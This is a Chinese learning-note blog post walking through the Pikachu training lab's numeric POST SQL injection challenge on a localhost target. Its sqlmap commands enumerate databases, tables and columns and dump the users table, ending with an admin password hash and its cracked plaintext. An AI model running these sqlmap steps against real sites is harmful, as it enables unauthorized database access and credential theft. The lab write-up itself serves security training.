zoukankan      html  css  js  c++  java
  • pikachu-数字型注入-sqlmap

    题目链接:http://127.0.0.1/pikachu-master/vul/sqli/sqli_id.php

    题目来源:pikachu-->SQL-inject-->数字型注入(post)

    任意提交数据,使用bp抓包得到post方式提交的参数为 id=1&submit=%E6%9F%A5%E8%AF%A2

     使用sqlmap跑post方式时的格式:python2 sqlmap.py -u "<url>" --data="<post提交的参数>" -<参数>

    使用sqlmap跑数据库 

    python2 sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" - f --dbms mysql --dbs --batch
    #--dbms 默认情况下会探测web应用后端的数据库是什么;该步骤--dbms mysql 制定了数据库类型为myslq数据库
    #--dbs 当用户有权读取时,列出所有的数据库
    #--batch 该参数使用后不需要用户输入,将会使用sqlmap给的默认提示走下去

    可以得到三个数据库的名称:information_schema,pikachu,test

    查询数据库pikachu下面的表 

    python2 sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" - f --dbms mysql -D pikachu --tables --batch
    # -D pikachu 指定数据库pikachu
    #--tables 当有权限读取pikachu数据库中的表tables的时候,读取出表

    可以得到pikachu数据库下的表:httpinfo,member,message,users,xssblind

    获取表users中的列

    python2 sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" -
    f --dbms mysql -D pikachu -T users --columns --batch
    #-T users 指定表名users
    #--columns 当有权限读取表users中的列的时候读取表users中的列

    就可以得到users表中的列名:level,id,password,username

    获取列username和password中的字段内容

    python2 sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" -
    f --dbms mysql -D pikachu -T users -C username,password --dump --batch
    #-C username,password 指定读取列username和password中的字段内容
    #--dump 抛出前面指定内容

    可以得到用户名admin,及其对应的密码的MD5:e10adc3949ba59abbe56e057f20f883e,以及解码后的明文:123456

    文章仅作为学习笔记,欢迎指正,不喜勿喷!
  • 相关阅读:
    swift4.2
    swift4.2 打印devicetoken
    swift4.2
    (二十三)Dbutils 工具介绍
    (二十二)自定义简化版JDBC(Dbutils框架的设计思想)
    (二十一)配置三种开源数据库连接池
    (二十)自定义数据库连接池
    (十九)事务
    (十八)JDBC获取存储过程和主键
    (十七)使用JDBC进行批处理
  • 原文地址:https://www.cnblogs.com/Hunter-01001100/p/11341671.html
Copyright © 2011-2022 走看看